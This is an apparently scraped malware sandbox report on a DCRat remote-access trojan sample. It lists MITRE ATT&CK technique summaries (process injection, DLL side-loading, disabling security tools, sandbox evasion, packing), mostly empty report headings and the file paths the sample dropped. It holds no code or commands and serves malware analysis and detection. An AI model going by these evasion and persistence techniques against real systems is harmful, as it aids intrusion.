Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report c5uqDb5MlY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Java\jre-1.8\lib\fonts\0cb67fdef24436

C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe

C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe:Zone.Identifier

C:\Recovery\0cb67fdef24436

C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe

C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\c5uqDb5MlY.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe.log

C:\Users\user\AppData\Local\Temp\ChgBdwEIps

C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat

C:\Users\user\AppData\Local\Temp\tmp9385A.tmp

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
c5uqDb5MlY.exe